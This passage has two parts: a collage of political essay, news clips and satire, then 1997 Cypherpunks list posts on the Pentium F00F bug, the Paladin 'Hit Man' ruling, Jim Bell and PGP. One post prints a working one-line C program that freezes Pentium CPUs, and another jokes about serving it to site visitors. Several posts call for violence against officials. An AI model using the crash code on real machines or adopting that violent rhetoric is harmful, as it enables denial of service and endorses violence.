powers that be operate to ensure that such conditions stay the
same. Thus such pathology ensures the rich get richer, while the
poor get prison and early death. 

Since 1985 the total number of inmates in the custody of
State
and Federal prisons and local jails has more than doubled to
nearly 1.6 million -- an increase of 113%.
* On average, the incarcerated population has grown 7.9%
annually
since 1985. The State and Federal prison population has grown

8.3% annually, while the local jail population has grown 7.0%.
* Over the 10-year period correctional authorities have
found
beds for nearly 841,200 additional inmates or the equivalent of

almost 1,618 inmates per week.
* At yearend 1985, 1 in every 320 United States residents
were
incarcerated. By yearend 1995 that ratio had increased to 1 in

every 167.

-PIAP


Max Weber held that social stratification depends on the distribution
of three resources: wealth (economic resources), power (political
resources), and prestige (social resources). 

We are able to determine the social and racial implications of
certain classes, then, having a vested interest in crime. It can
be argued that because an elite class of criminals is in charge,
they commit capital crimes, crimes against society and humanity.
The jails are overflowing, but that doesn't seem to help --because
the real criminals aren't in jail. They're in the board rooms
and in the White House. They are the social policy makers that
run this country. And today, they are increasing social repression
by building more prisons, creating harsher legal sanctions (i.e.
52 death penalty laws, three strikes you're out), and becoming
ever more heedless to the social implications of poverty as an
impetus to committing crime. 

Under their misleadership, over five million people are homeless,
37 million have no health insurance, 30 million are illiterate,
30 million more are functionally illiterate, one million are incarcerated,
and 60 million live in poverty and are struggling day to day.

Crime is big business in America. Annually the laws are changed
to ensure profitability in the industry of crime. Social conditions
that serve to maintain levels of poverty, feed the industry of
crime, also put stress on the social stratification's of society.


Within the current processes of economic globalization, the
establishment of the Joint Venture Program has opened California
prisoners to be used as a new labor supply and to be manipulated
within the world economy to meet the interests of transnational
corporations. Within the global economy, the United States is
becoming an increasingly service-based economy, and many of the
manufacturing and textile jobs prisoners are supposedly being
trained for don't even exist here anymore. Economic globalization
has completely altered the relationship between capital and labor
that existed within the economy of this capitalist nation-state,
where massive increases in incarceration directed at working-class
communities and communities of color would formerly have interfered
with the interest of many corporations by diminishing the labor
pool. The hypermobility of capital has created an economic setting
that allows for mass incarceration, because there is no longer
a strong economic need for a large, free, unskilled, unemployed
population of workers in this country. [27] Capital can easily
expand its supply of labor to include any exploitable population
of workers throughout the world, including incarcerated workers.

The Labor of Doing Time


Given the fact that America is a nation of criminals as elucidated
in the Wall Street Journal article, social conflict is inevitable.
It then becomes a matter of identifying the real culprits of crime,
and seeking the means to have them become accountable for their
criminal behavior. This may very well include the redistribution
of their wealth, and the reorganization of the social contract
between the government and the governed. 

In response to the stratification outlined above, it requires
revolutionary nationalist and socialist efforts to formulate a
national political agenda and policy that will challenge the prevailing
social contract between the oppressed and the oppressor nation.
This means revolutionary nationalists and socialists must have
a clear and concise mass-line and political program that identifies
and explains the nature of poor peoples' oppression, and how they
are to be organized to confront their oppression.


"There's something wrong when I'm a felon under an increasing
number of laws.
Only one response to the key grabbers is warranted: 'Death to
Tyrants!'"
-Timothy C. May 



M$ Cowboy



[Estevan Mercury,
Oct 22, 1997] It's just like advancing to the NHL of the computer
world.
That was the comparison used by Jeff Sandquist
to describe his new job with Microsoft, one of the giants of the
computer industry, right in their Redmond, Washington campus headquarters.

Sandquist will be leaving his position at SRI Homes (Shelter-Regent
Industries) where he has been a design technologist for the past
four years, and will hook up with like-minded individuals in Redmond
to serve big industry.

"I guess I am now a developer support engineer,"
he said with a chuckle.
"I wanted this job because I get to work with cool stuff
a year before the public gets to see it." Sandquist said
with another laugh.
He said one of his teammates is the author of the Inside Active
Server Pages, one of the more recent bibles of computerdom. Sandquist
explained that active server technology is relatively new to industry
and the public.

"I can't believe I'm getting this shot," he said.

Sandquist starts work at Microsoft on November 3. He'll believe
it then.

(by NORM PARK of The Mercury)


CJ brought Shelter into the 'Wonderful World of Computers'
but he did it in Xenix, not in DOS. DOS is a nice, simple computer
operating system that will work fairly well for the uninitiated
without giving them a lot of grief. It's fairly primitive, but
one can do a tolerably decent job of conducting their affairs
in bits and bytes without having to worry about the dark side
of their new hi-tech/toy-nology.
-Excerpt from "The Xenix Chainsaw Massacre"


Subject: Sloppy Chips from Intel 
From: Eric Cordian <emc@wire.insync.net> 
To: cypherpunks@cyberpass.net 

By now everyone has probably heard that Intel Pentium and Pentium
MMX chips hang when executing the instruction sequence F00FC7C8
even when in an outer ring of privilege or in V86 mode. 

With numerous small Linux-based ISPs out there, often providing
shell services to anonymous customers, or serving customer-provided
CGI programs, the existence and public disclosure such an easily
exploitable flaw in their CPU's hardware protection mechanism
is catastrophic.
...
While today's problem does not permit clandestine entry into
a system, since it kills the system when it is exercised, it does
raise the question of whether there are other more subtle problems
in the hardware protection mechanism, which might enable knowledgeable
users to execute an occasional instruction at the wrong privilege
level, or otherwise do things which should be prohibited according
to the published hardware specifications. 
...
Buggy microprocessor microcode can produce very subtle exploitable
faults in a chip, which are almost impossible to notice when running
ordinary applications and operating systems. Instructions may
do the wrong thing only when they follow certain other instructions.
There may be rare times when the processor is wrongly interruptible,
or when a restricted instruction is not forbidden, or is given
access at the wrong privilege level, or with incorrect address
translation. 

Were such features to be deliberately introduced into a chip,
in order to permit a backdoor for undetected entry, they could
be made completely undetectable, and could depend upon any number
of unlikely conditions, or even specific hidden register values,
in order to be made manifest. Every microprocessor could even
have its own "key" for the activation of such "special
features." 

Unlike UNIX, for which complete compileable source code is available,
we know little about what microcode is run through the several
million transistors on a typical microprocessor. If sloppy engineering
alone produces such dangerous faults, imagine what could happen
should industry decide to deliberately cooperate with various
LEAs and TLAs.
(In the national interest, of course.) 

The possibilities are truly mind-boggling. Perhaps exploits like
tapping Aldrich Ames' PC and crashing Saddam Hussein's PCs en
masse were not done by black bag jobs and viri, but by the activation
of "National Security" backdoors present in all complex
modern microprocessors. 
Eric Michael Cordian 0+ 
O:.T:.O:. Mathematical Munitions Division 
"Do What Thou Wilt Shall Be The Whole Of The Law"



"I am chaos. I am
the substance
from which your artists
and scientists
build rhythms.
I am the spirit
with which your children
and clowns laugh
in happy anarchy.
I am chaos. I am alive.,
and tell you that
you are free"


-Eris, Goddess
Of Chaos, Discord
& Confusion


Subject: 
From: Anonymous <anon@anon.efga.org>
To: cypherpunks@cyberpass.net

In the grand tradition of RSA-in-3-lines-of-perl, we present
Crash-A-Pentium-in-44-characters:

main(){int i=0xc8c70ff0;void (*f)()=&i;f();}

-f00fie


Subject: pentium bug/microprocessor design
From: "Vladimir Z. Nuri" <vznuri@netcom.com>

To: cypherpunks@cyberpass.net

For those of you who don't know, there's actually a minor crisis
brewing in chip design. 

The crisis is that because of the enormous increasing complexity
of individual chips, it's becoming statistically impossible to
completely test them. 

There are new schemes in the works by which Intel etc. are trying
to deal with this, including a remarkable scheme in which new
microcode can be downloaded to the chip. it also involves encryption
in which one needs to know the encryption mechanism for the chip
to accept the new instructions. apparently it's done in such a
way that no one except those who know the encryption can successfully
alter the chip.

But this does raise a lot of cypherpunks issues such as about
reverse engineering etc.


Subject: A.Word.A.Day
- vomitorium
From: Wordsmith <wsmith@wordsmith.org>
To: linguaphile@wordsmith.org

vo.mi.to.ri.um n. A passage or opening in an ancient amphitheatre
or
theatre, leading to or from the seats. Usu. pl. 

1754 Dictionary of Arts & Sciences. I. 129/2
"They were entered by avenues, at the end of which
were gates, called vomitoria."


"Programmers are the unifying force that supply the energy
enabling two separate and unique components, hardware and software,
to have a relationship that is capable of productivity and growth.
A marriage of matter that could spawn and produce a multitude
of children to go forth and do many new things in the world, for
better or worse, for good or for evil."

"You are society's last hope for thwarting
the Forces of Evil gearing up for the final battle, readying themselves
to wreak grievous havoc upon the world, such that it has never
known. It is up to you to 'raise the torch,' and let the 'light
of knowledge' spread throughout the civilized world, in the thread
of 'clues' scattered throughout the UNIX operating system, and
throughout your programming and your instructions."

"You must band together, man and woman, young and old,
into a 'Magic Circle' for your own protection from the Forces
of Darkness! You must develop your own secret codes and rituals
to deal with the Evil Forces which will beset you daily once you
set foot on the Path of Righteousness."
-Bubba Rom Dos


[Not-News NetWork-- Mohave Desert] Aug 4/97

WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE?
- sog

The "Not-News Gorilla NutWork" was rocket-launched in
the Mohave Desert
early yesterday morning by a rag-tag bunch of paramilitarist computer

gurus who unveiled an InterNet Bill of Bytes that included the
words, 
"MicroSoft shall make no laws..."

Angered by a self-appointed council of computer industry magnates
who
have announced their intention to seize fascist control of the
quickly
burgeoning Information Highway by controlling the definition of
all
information, the rebels set up a shooting range which contained
a wide
variety of targets ranging from copies of the Wall Street Journal
to
life-sized cardboard cut-outs of a hooded figure referred to only
as,
"a billionaire to be named later."
...

"We have decided on two classes of ratings." explained
a tassel-
haired young woman as she slid shells into a Winchester Defender

sitting on her lap. "On..." she said, lifting the shotgun
with one
hand, then liberating the hooded head from a nearby cardboard
cut-out,
before turning back to say, with a Cheshire grin, "...and
off."


[Estevan Mercury, Oct 22, 1997] ...
Sandquist will be leaving his position at SRI Homes (Shelter-Regent
Industries) where he has been a design technologist for the past
four years, and will hook up with like-minded individuals
in Redmond to serve big industry.
...

He said one of his teammates is the author of the
Inside Active Server Pages, one of the more recent bibles
of computerdom. Sandquist explained that active server
technology is relatively new to industry and the public.

"I can't believe I'm getting this shot," he said.

...
"I can't believe I'm getting this shot,"
he said.
...
"I can't believe I'm getting this SHOT," he
said.


Subject: A.Word.A.Day
- vomitorium
From: Wordsmith <wsmith@wordsmith.org>
To: linguaphile@wordsmith.org

vo.mi.to.ri.um n. A passage or opening in an ancient amphitheatre
or
theatre, leading to or from the seats. Usu. pl. 

1754 Dictionary of Arts & Sciences. I. 129/2
"They were entered by avenues, at the end of which
were GATES, called vomitoria."


Once again the Forces of Good have been forced underground,
faced with incredulity and disbelief when they try to reveal to
mankind that the Evil One is once again afoot in the land, making
His plans for the Final Battle. The 'Circle of Eunuchs' find themselves
working feverishly to rebuild a silent underground dedicated to
enlightening those few that are willing to listen to the Whisper
of Light that is being overwhelmed by the Roar of Darkness. 
~son of gomez


"Cryptography is like literacy in the Dark Ages. Infinitely
potent, for good and ill... yet basically an intellectual construct,
an idea, which by its nature will resist efforts to restrict it
to bureaucrats and others who deem only themselves worthy of such
Privilege."
A thinking man's Creed for Crypto/ vbm.
Vin McLellan + The Privacy Guild + <vin@shore.net> 


Now the Circle of Eunuchs discover themselves locked in a covert
battle with Forces that have railed against mankind for Millenniums,
facing the disbelief and terror of others in their efforts to
enlighten mankind about the Evil Forces once again massing throughout
the world in a chilling endeavor to bring us to our ultimate destruction.

While we sleep our way through our daily lives, in unawareness,
the Movement is spreading through Secret Circles spanning the
face of the globe, helping to prepare mankind for the Final Battle.

~son of gomez


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 01:29:34 +0800
To: Eric Cordian <cypherpunks@cyberpass.net
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <199711111642.KAA20562@wire.insync.net>
Message-ID: <v03102808b08e34db5a2d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:42 AM -0700 11/11/97, Eric Cordian wrote:
>RICHMOND, Va. (AP) -- Ruling that the right to a free press doesn't
>cover a how-to-kill book, a federal appeals panel said the families
>of a hired killer's victims may sue the publisher of a book that he
>consulted.
>
>A three-judge panel of the 4th U.S. Circuit Court of Appeals denied
>First Amendment protection to ``Hit Man: A Technical Manual for
>Independent Contractors,'' saying publisher Paladin Press knew it
>would be used by murderers.
>
>``The Supreme Court has never protected as abstract advocacy speech so
>explicit in its palpable entreaties to violent crime,'' the panel
>said in its ruling Monday.
>
>The book was sold to James Edward Perry, who was convicted of killing
>Mildred Horn; her disabled 8-year-old son, Trevor; and the son's
>nurse, Janice Saunders, in Silver Spring, Md., in 1993. The women were
>shot between the eyes and the boy's respirator was unplugged.

Having skimmed the "Hit Man" book, I can tell you it conveyed no unique
information about how to shoot someone between the eyes and unplug a
respirator.

If this Paladin case is not overturned, it will mean the "death through
lawsuits" of nearly all publishers of even slightly controversial material.
Loompanics will go, Delta Press will go, etc. "Unintended Consequences"
will be withdrawn by the publisher and the author will be sued. "The Turner
Diaries" will become a contraband item.

And why not sue other publishers and bookstores? Maybe a book on abortions
helped a woman perform an illegal abortion. Maybe a book about fighting for
liberty provided "abstract advocacy speech so explicit in its palpable
entreaties to violent crime" (and so it is unprotected, according to the
courts).

But in many ways, this is good news. The war is coming faster than I thought.

The judge in this case has committed a capital crime.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 12 Nov 1997 01:30:26 +0800
To: Ray Arachelian <hjk@ddorf.rhein-ruhr.de>
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <Pine.LNX.3.96.971108134328.9114I-100000@alien.lummerland.de>
Message-ID: <v0311070cb08e44e2fabc@[207.94.250.122]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:09 AM -0800 11/11/97, Ray Arachelian wrote:
>On Sat, 8 Nov 1997, [iso-latin-de] Heinz-J¸rgen Keller wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>>
>>
>> The german Chaos Computer Club distributes a Dos/Win binary (f00fc7c8.com,
>> 5 Bytes :-) ) and a linux version.
>> Have a look at http://www.ccc.de .
>
>So has anyone yet developed an ActiveX component of this? :) Heheheh...
>come to my site and watch your pentium crash. Heheheheheh!

I saw an announcement of an Internet Explorer V4 bug where URLs longer than
256 bytes could cause the browser to execute arbitrary machine code.....


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rab@stallion.oz.au
Date: Tue, 11 Nov 1997 08:01:29 +0800
To: tcmay@got.net
Subject: RE: Bell vs. Woodward--justice?
Message-ID: <82E14F2F282AD11180330000010380310367B6@mallory.stallion.oz.au>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> Apparently shaking a baby to death is a lesser crime than opposing
> government fascism and having a continuing interest in chemistry.
> 
> And people wonder why the militia movement is gaining strength every
> day.
> 
> The au pair Louise Woodward will serve less time in jail than Jim Bell
> will. While Bell languishes in a Washington state jail, awaiting (for
> almost 7 months!!) his sentence, the convicted babykiller is now free.
> 
> I guess having a couple of fake SS tattoos, er, "numbers," and
> possibly opening a vial of mercaptin where some people would smell it,
> is a more serious crime than shaking a baby to death.
> 
> Only in Amerika.
> 
> Lock and load.
> 
> --Tim May
> 
Here in Australia the media has been giving this trial regular coverage
with the spin "Innocent English Person Wrongly Found Guilty by US Jury".
The coverage led me to believe that despite scientific evidence to  the
contrary the jury found Woodward guilty.  One other point from the
coverage was that Woodward represented herself for at least some part of
the trial, did Jim Bell do this too?

Obviously Tim you have been exposed to very different media coverage.

RAB





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 11 Nov 1997 23:20:21 +0800
To: =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= <hjk@ddorf.rhein-ruhr.de>
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <Pine.LNX.3.96.971108134328.9114I-100000@alien.lummerland.de>
Message-ID: <Pine.SUN.3.96.971111100836.20764H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 8 Nov 1997, [iso-latin-de] Heinz-Jürgen Keller wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> The german Chaos Computer Club distributes a Dos/Win binary (f00fc7c8.com,
> 5 Bytes :-) ) and a linux version.
> Have a look at http://www.ccc.de .

So has anyone yet developed an ActiveX component of this? :) Heheheh...
come to my site and watch your pentium crash. Heheheheheh!

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbaber@mi.leeds.ac.uk
Date: Tue, 11 Nov 1997 18:22:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Bell vs. Woodward--justice?
Message-ID: <2278.9711111011@misun2.mi.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Tim May Writes: 
> At 6:09 PM -0700 11/10/97, Fabrice Planchon wrote:
> >On lun 10 nov  1997 =E0 01:06:08PM -0700, Tim May wrote:
> >>
> >> Apparently shaking a baby to death is a lesser crime than opposing
> >> government fascism and having a continuing interest in chemistry.

Well the courts/administration seem to think so. Or at least think that
killing a baby is less deserving of punishment that standing against the
administration and spreading dangerous (to them) ideas (AP), which is what 
Jim is realy being punished for.
 
> 279 days.

It has been stated over here (by some American Law Professor) that this
sentence is only slghtly below the average usually served for this kind
of Involentary Manslaughter. Is this just made up because it is what people
over here want to hear of is it vaguely accurate?
 
> >think you are shooting the wrong target here ? I mean, I certainly agree
> 
> No, else I wouldn't have written what I wrote.

I think that perhaps the emphasis of what you said is being changed by other
writers who are hot under the collar about the Woodward case.

> I said in two different posts that my main point was about Bell spending
> more time in jail than a convicted baby killer.

Leaving aside the problem with a system where a judge can overturn the 
decision of a Jury (I have not seen all of the evidence so have no idea
if she is guilty or innocent but if you enter a country you implicitly
agree to abide by their laws and legal system, however what is the point
of having a Jury if the Judge can do this sort of thing?) then the actual
problem is the length of time that Jim is spending in prison and nothing 
to do with the Woodward case at all. It just goes to illustrate, once again, 
how laws are selectively enforced and procedures slowed in order to punish 
people who can not otherwise be punished as much as the administration would 
like to.

Forget Woodward, Free Jim Bell!

Jon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 02:24:01 +0800
To: cypherpunks@Algebra.COM
Subject: Matters of Law
Message-ID: <v03102809b08e40f2313f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Now that one level of the court system has ruled that the First Amendment
does not protect Paladin Press against a lawsuit over its sale of the book
"Hit Man," it may be timely to mention some of the issues.

It is often claimed (here, too) that "anyone may sue." This is true. Just
pay a filing fee, etc., and anyone can sue. Alice can sue Bob because he is
reading "War and Peace." I can sue Suzie because I didn't like the color of
the dress she wore. And so on, so the theory goes.

However, the court system need not let the suit proceed. Many (most?) filed
lawsuits are dismissed on "matters of law." Thus, Alice's lawsuit against
Bob over Bob's choice of reading materials would be thrown out.

(And the courts have even taken steps against those who have filed many
frivolous lawsuits with the apparent intent of harassment. )

It is in this sense that today's court decision allowing the suit against
Paladin to proceed is so pernicious. In a society where free speech and
free dissemination of ideas is protected by the First Amendment, a lawsuit
to stop others from reading or writing certain thoughts should be thrown
out immediately. On a "matter of law."

I'm not a lawyer, but my layman's understanding of "matter of law" is that
an act must have some element of illegality under the criminal code, or
under contract law, before a lawsuit can proceed. Thus, I cannot sue a
restaurant because it chooses not to serve my favorite food, nor can Alice
sue Bob over his choice of reading materials. Nor should anyone be allowed
to sue Paladin Press when no evidence of illegality has been shown (Paladin
was not implicated as a co-conspirator in the murder, and the book "Hit
Man" is not illegal to sell).

I expect the Paladin Press case will go to the Supreme Court now. I hope it
does, at least. And it'll be interesting to see if the ACLU supports a
politically incorrect case like this.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Nov 1997 15:24:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP's SMTP enforcer and ISPs
In-Reply-To: <346647dc.118322082@128.2.84.191>
Message-ID: <3.0.3.32.19971111103811.006f0290@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:47 AM 11/06/1997 GMT, phelix@vallnet.com wrote:
>Now that PGP has an SMTP enforcers, and that others will eventually follow
>with a S/MIME equivalent, we are literally an executive order away from an
>effective (if not 100% complete) ban on "inappropriate" encryption on email
>communications.

Nah - private speech isn't something the President has authority over.
(I'm assuming you mean that kind of executive order, as opposed to
"the folks who run my ISP cut off port 25 by fiat and can cut off crypto
too".)
Besides, about all the PGP SMTP enforcer does is look for
	-----BEGIN PGP ENCRYPTED STUFF-----
or the equivalent binary formats, which is easy for anybody to write a
filter for,
but very tough to scale the average sendmail daemon to look for,
and it's easy enough to steganize your way around (Jon Callas recommends 
using -----BEGIN ZZZ ENCRYPTED STUFF----- to avoid the PGP SMTP filters :-)




				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Wed, 12 Nov 1997 00:53:43 +0800
To: cypherpunks@cyberpass.net
Subject: 1st Ammendment Tossed in Paladin Case
Message-ID: <199711111642.KAA20562@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



RICHMOND, Va. (AP) -- Ruling that the right to a free press doesn't
cover a how-to-kill book, a federal appeals panel said the families
of a hired killer's victims may sue the publisher of a book that he
consulted.
 
A three-judge panel of the 4th U.S. Circuit Court of Appeals denied
First Amendment protection to ``Hit Man: A Technical Manual for
Independent Contractors,'' saying publisher Paladin Press knew it
would be used by murderers.
 
``The Supreme Court has never protected as abstract advocacy speech so
explicit in its palpable entreaties to violent crime,'' the panel
said in its ruling Monday.
 
The book was sold to James Edward Perry, who was convicted of killing
Mildred Horn; her disabled 8-year-old son, Trevor; and the son's
nurse, Janice Saunders, in Silver Spring, Md., in 1993. The women were
shot between the eyes and the boy's respirator was unplugged.
 
Perry is on death row for the murders, and Lawrence T. Horn, Mrs.
Horn's former husband, was sentenced to life in prison for hiring
Perry. Horn's motive was to collect $1.7 million from a malpractice
settlement that his son Trevor won from a hospital after the accident
that left him a quadriplegic.
 
Paladin has never challenged Perry's claim that he followed some of
the 130-page paperback's advice.
 
``This decision says that if you're in the business of helping
instruct murderers on how to slaughter innocent women and children,
you aren't going to find any shelter in the First Amendment,'' said
Howard Siegel, an attorney for the families.
 
Paladin Press, based in Boulder, Colo., plans to ask the full 4th
Circuit to review the panel's decision and will seek a Supreme Court
review if necessary, said Lee Levine, the publisher's attorney.
 
The appeals court ''did not sufficiently take into account the First
Amendment implications of holding the publisher of a book legally
responsible for actions of someone reading the book,'' Levine said.
 
The lawsuit was supported by victim rights groups, while The
Washington Post Co., The New York Times Co. and other media
organizations filed briefs supporting Paladin's position.
 
In 1996, U.S. District Judge Alexander Williams ruled that the
victims' families could not hold Paladin liable because of the First
Amendment's guarantee of free speech.
 
The appeals panel sent the case back to Williams for trial.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 12 Nov 1997 00:13:19 +0800
To: jbaber@mi.leeds.ac.uk
Subject: Re: Bell vs. Woodward--justice?
In-Reply-To: <2278.9711111011@misun2.mi.leeds.ac.uk>
Message-ID: <Pine.GSO.3.95.971111110228.19211D-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 11 Nov 1997 jbaber@mi.leeds.ac.uk wrote:

> Leaving aside the problem with a system where a judge can overturn the 
> decision of a Jury (I have not seen all of the evidence so have no idea
> if she is guilty or innocent but if you enter a country you implicitly
> agree to abide by their laws and legal system, however what is the point
> of having a Jury if the Judge can do this sort of thing?) then the actual

My understanding of the system used in Massachusets is that the judge in a
trial there can overturn a conviction.  the judge can't overturn an
aquittal.

This is good for the defendent.  It's one more way to be freed.  

Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 12 Nov 1997 01:39:04 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <199711111642.KAA20562@wire.insync.net>
Message-ID: <199711111725.MAA01146@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711111642.KAA20562@wire.insync.net>, on 11/11/97 
   at 10:42 AM, Eric Cordian <emc@wire.insync.net> said:

>RICHMOND, Va. (AP) -- Ruling that the right to a free press doesn't cover
>a how-to-kill book, a federal appeals panel said the families of a hired
>killer's victims may sue the publisher of a book that he consulted.

Well another example of the "domino theory" at work. :(

first the 10th fell
then the 9th fell
the 4th, 5th & 6th fell in rapid sucession after that
the 7th is gone as is the 8th

now the 1st.

Well we have the 3rd at least :) Not very practical in the moder era but
who know, when they finaly get around to dispatching the military to go
door to door to confiscate the guns then need to quarter them in
individule's homes will arise and then the 3rd will fall too.

God bless Amerika!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNGiUjY9Co1n+aLhhAQFy3QP/amwFR+oDsDh32YFXfIzladweVCNlt/I+
3pI2Q4JlCfryriqBqmjy+aKVVIwd/ptXc6+I2iSFm1UGZSw8q9tdpH1stUM2Sh8j
yVf1CKCqngmpXuXPsWw7qoiBIFucakvdL3TwOCp+N3tjwcGXAAi72r7A/HKWmx+f
fD5knWzxM5g=
=+fSp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 12 Nov 1997 00:37:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy Software
In-Reply-To: <199711031141.DAA01497@sirius.infonex.com>
Message-ID: <97Nov11.112515est.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 3 Nov 1997, Mix wrote:

> Adam Back wrote:
> >Monty Cantsin writes:
> >> The PGP source code is not the worst I've ever seen, but it's kind of
> >> odd.  
> >
> >I had a go at doing something with it (I'll let you know when I get
> >it to work) -- I had the damnest job figuring out what was going on.
> >The problem I found with understanding it were all of the nested
> >functions called through vectors of functions and handler functions.
> >Makes it hard to inspect what will happen without running the code
> >under a debugger -- lots control flow is decided at run time.
> 
> So in other words, even though we have the source code we don't really
> have confidence that we can tell what it is doing.

There were only a few obscure points.  Most of it can be determined from
hex dumps of the files produced.  I had public key management before I saw
the source code.  Since I have a version that does not use any PGP source,
but PGP 5.x interoperates fully, I think I can tell precisely what it is
doing.

> Even though the source code is available, I don't think it has been
> studied all that carefully.  For example, hardly anybody knew that the
> PGP 5.0 source had CAK features lurking in it.  Or, remember that bug
> with the random number generator?  As I recall (i.e., feel free to
> correct me), it was in Colin Plumb's code and he found it himself.
> This would imply that it got by whoever went over the code when it was
> released.  Not reassuring.

There is that section for CAK in a future expansion note in Vol. 1 of the
source.  There is probably a note in the CP archives I posted eons ago,
long before the 5.5 controversy spawned all the traffic about CAK.  It was
near the new passphrase hash which was one thing I could not figure out
without the source. 

> C is a big part of the problem.  Also, PGP was originally designed to
> operate on some fairly slow machines and they tried very hard to
> optimize the hell out of it.  Now, however, cycles are a lot cheaper.
> I think we should give up speed for clarity.  Slow code that we can
> really trust is better.

C is not part of the problem, people who aren't good at abstraction are.
It would look even more horrid in modula-2(3?).  If you have something go
through three layers instead of one, it will be more complicated, for
instance I did something more like:

*hashstart[]() = {md5start,sha1start,ripemd160start};

instead of the layering.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 12 Nov 1997 00:39:26 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Source code obfuscation
In-Reply-To: <Pine.BSF.3.96.971028165130.13198F-100000@pakastelohi.cypherpunks.to>
